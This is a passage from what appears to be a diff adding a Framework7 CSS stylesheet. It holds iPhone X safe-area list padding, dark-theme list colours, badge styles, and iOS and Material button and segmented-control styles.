.list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-left)); + padding-left: calc(42px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row, + .md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row, + .md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row { + padding-left: 0; + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 16px; + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-content { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li:after { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after, + .md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a:after { + right: calc(16px + const(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +.md .theme-dark .list ul:before, +.list.md .theme-dark ul:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list ul:after, +.list.md .theme-dark ul:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list li li:last-child .item-inner:after, +.list.md .theme-dark li li:last-child .item-inner:after, +.md .theme-dark .list li:last-child li .item-inner:after, +.list.md .theme-dark li:last-child li .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-group-title:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list-button:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-inner:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-divider, +.md .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +.md .theme-dark .links-list a:after, +.md .theme-dark .simple-list li:after, +.md .theme-dark .links-list a:after, +.links-list.md .theme-dark a .simple-list li:after, +.simple-list.md .theme-dark li:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .list .item-link.active-state, +.list.md .theme-dark .item-link.active-state, +.md .theme-dark .list .list-button.active-state, +.list.md .theme-dark .list-button.active-state, +.md .theme-dark .links-list a.active-state, +.links-list.md .theme-dark a.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .item-after, +.md .theme-dark .item-text { + color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red .list-button { + color: #f44336; +} +.md .color-theme-green .list-button { + color: #4caf50; +} +.md .color-theme-blue .list-button { + color: #2196f3; +} +.md .color-theme-pink .list-button { + color: #e91e63; +} +.md .color-theme-yellow .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .list-button { + color: #ff9800; +} +.md .color-theme-gray .list-button { + color: #9e9e9e; +} +.md .color-theme-white .list-button { + color: #ffffff; +} +.md .color-theme-black .list-button { + color: #000000; +} +.md .list .list-button.color-red, +.md .list li.color-red .list-button, +.md .links-list li.color-red a, +.md .simple-list li.color-red, +.md .links-list a.color-red, +.md .list .item-link.color-red, +.md .list li.color-red .item-link { + color: #f44336; +} +.md .list .list-button.color-green, +.md .list li.color-green .list-button, +.md .links-list li.color-green a, +.md .simple-list li.color-green, +.md .links-list a.color-green, +.md .list .item-link.color-green, +.md .list li.color-green .item-link { + color: #4caf50; +} +.md .list .list-button.color-blue, +.md .list li.color-blue .list-button, +.md .links-list li.color-blue a, +.md .simple-list li.color-blue, +.md .links-list a.color-blue, +.md .list .item-link.color-blue, +.md .list li.color-blue .item-link { + color: #2196f3; +} +.md .list .list-button.color-pink, +.md .list li.color-pink .list-button, +.md .links-list li.color-pink a, +.md .simple-list li.color-pink, +.md .links-list a.color-pink, +.md .list .item-link.color-pink, +.md .list li.color-pink .item-link { + color: #e91e63; +} +.md .list .list-button.color-yellow, +.md .list li.color-yellow .list-button, +.md .links-list li.color-yellow a, +.md .simple-list li.color-yellow, +.md .links-list a.color-yellow, +.md .list .item-link.color-yellow, +.md .list li.color-yellow .item-link { + color: #ffeb3b; +} +.md .list .list-button.color-orange, +.md .list li.color-orange .list-button, +.md .links-list li.color-orange a, +.md .simple-list li.color-orange, +.md .links-list a.color-orange, +.md .list .item-link.color-orange, +.md .list li.color-orange .item-link { + color: #ff9800; +} +.md .list .list-button.color-gray, +.md .list li.color-gray .list-button, +.md .links-list li.color-gray a, +.md .simple-list li.color-gray, +.md .links-list a.color-gray, +.md .list .item-link.color-gray, +.md .list li.color-gray .item-link { + color: #9e9e9e; +} +.md .list .list-button.color-white, +.md .list li.color-white .list-button, +.md .links-list li.color-white a, +.md .simple-list li.color-white, +.md .links-list a.color-white, +.md .list .item-link.color-white, +.md .list li.color-white .item-link { + color: #ffffff; +} +.md .list .list-button.color-black, +.md .list li.color-black .list-button, +.md .links-list li.color-black a, +.md .simple-list li.color-black, +.md .links-list a.color-black, +.md .list .item-link.color-black, +.md .list li.color-black .item-link { + color: #000000; +} +/* === Badge === */ +.badge { + display: inline-block; + color: #fff; + background: #8e8e93; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + text-align: center; +} +.icon .badge, +.f7-icons .badge, +.framework7-icons .badge, +.material-icons .badge { + position: absolute; + left: 100%; + margin-left: -10px; + top: -2px; +} +.ios .badge { + font-size: 13px; + border-radius: 20px; + padding: 0 6px; + height: 20px; + line-height: 20px; +} +.item-after .ios .badge { + min-width: 20px; +} +.ios .icon .badge, +.ios .f7-icons .badge, +.ios .framework7-icons .badge, +.ios .material-icons .badge { + line-height: 16px; + height: 16px; + border-radius: 16px; + padding: 0 4px; + min-width: 16px; + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.ios .badge.color-red { + background-color: #ff3b30; +} +.ios .badge.color-green { + background-color: #4cd964; +} +.ios .badge.color-blue { + background-color: #007aff; +} +.ios .badge.color-pink { + background-color: #ff2d55; +} +.ios .badge.color-yellow { + background-color: #ffcc00; +} +.ios .badge.color-orange { + background-color: #ff9500; +} +.ios .badge.color-gray { + background-color: #8e8e93; +} +.ios .badge.color-white { + background-color: #ffffff; +} +.ios .badge.color-black { + background-color: #000000; +} +.md .badge { + font-size: 10px; + border-radius: 3px; + padding: 1px 6px; + vertical-align: middle; +} +.md .icon .badge, +.md .f7-icons .badge, +.md .framework7-icons .badge, +.md .material-icons .badge { + line-height: 1.4; + padding: 1px 5px; + font-family: Roboto, Noto, Helvetica, Arial, sans-serif; + font-size: 10px; +} +.md .badge.color-red { + background-color: #f44336; +} +.md .badge.color-green { + background-color: #4caf50; +} +.md .badge.color-blue { + background-color: #2196f3; +} +.md .badge.color-pink { + background-color: #e91e63; +} +.md .badge.color-yellow { + background-color: #ffeb3b; +} +.md .badge.color-orange { + background-color: #ff9800; +} +.md .badge.color-gray { + background-color: #9e9e9e; +} +.md .badge.color-white { + background-color: #ffffff; +} +.md .badge.color-black { + background-color: #000000; +} +button { + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; +} +input[type="submit"].button, +input[type="button"].button { + width: 100%; +} +button { + width: 100%; +} +.segmented { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; +} +.segmented .button, +.segmented button { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.subnavbar .segmented { + width: 100%; +} +.ios .button { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; +} +.ios .button.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.button-round, +.ios .button.button-round-ios { + border-radius: 29px; +} +.ios .button.button-active, +.ios .button.tab-link-active { + background: #007aff; + color: #fff; +} +.ios .button.button-big, +.ios .button.button-big-ios { + font-size: 17px; + height: 44px; + line-height: 42px; +} +.ios .button.button-small, +.ios .button.button-small-ios { + height: 26px; + line-height: 22px; + border-width: 2px; + font-size: 13px; + font-weight: 600; + text-transform: uppercase; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.ios .button.button-small.button-fill.active-state, +.ios .button.button-small-ios.button-fill.active-state, +.ios .button.button-small.button-fill-ios.active-state, +.ios .button.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; + opacity: 1; +} +.ios .button.button-fill, +.ios .button.button-fill-ios { + color: #fff; + background: #007aff; + border-color: transparent; +} +.ios .button.button-fill.active-state, +.ios .button.button-fill-ios.active-state { + opacity: 0.8; +} +.ios .button i.icon:first-child { + margin-left: 10px; +} +.ios .button i.icon:last-child { + margin-right: 10px; +} +.ios .button i.icon:first-child:last-child { + margin-left: 0; + margin-right: 0; +} +.ios .segmented .button { + border-radius: 0; + border-right-width: 0; +} +.ios .segmented .button:first-child { + border-radius: 0 5px 5px 0; + border-right-width: 1px; + border-right-style: solid; +} +.ios .segmented .button:first-child.button-small { + border-right-width: 2px; +} +.ios .segmented .button:last-child { + border-radius: 5px 0 0 5px; +} +.ios .segmented .button:first-child:last-child { + border-radius: 5px; +} +.ios .segmented .button.button-round:first-child, +.ios .segmented .button.button-round-ios:first-child { + border-radius: 0 29px 29px 0; +} +.ios .segmented .button.button-round:last-child, +.ios .segmented .button.button-round-ios:last-child { + border-radius: 0 29px 29px 0; + border-radius: 29px 0 0 29px; +} +.ios .color-theme-red .button { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .button.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active, +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + color: #fff; +} +.ios .color-theme-red .button.button-active, +.ios .color-theme-red .button.tab-link-active { + background: #ff3b30; +} +.ios .color-theme-red .button.button-fill, +.ios .color-theme-red .button.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .color-theme-red .button.button-small.button-fill.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill.active-state, +.ios .color-theme-red .button.button-small.button-fill-ios.active-state, +.ios .color-theme-red .button.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .color-theme-green .button { + 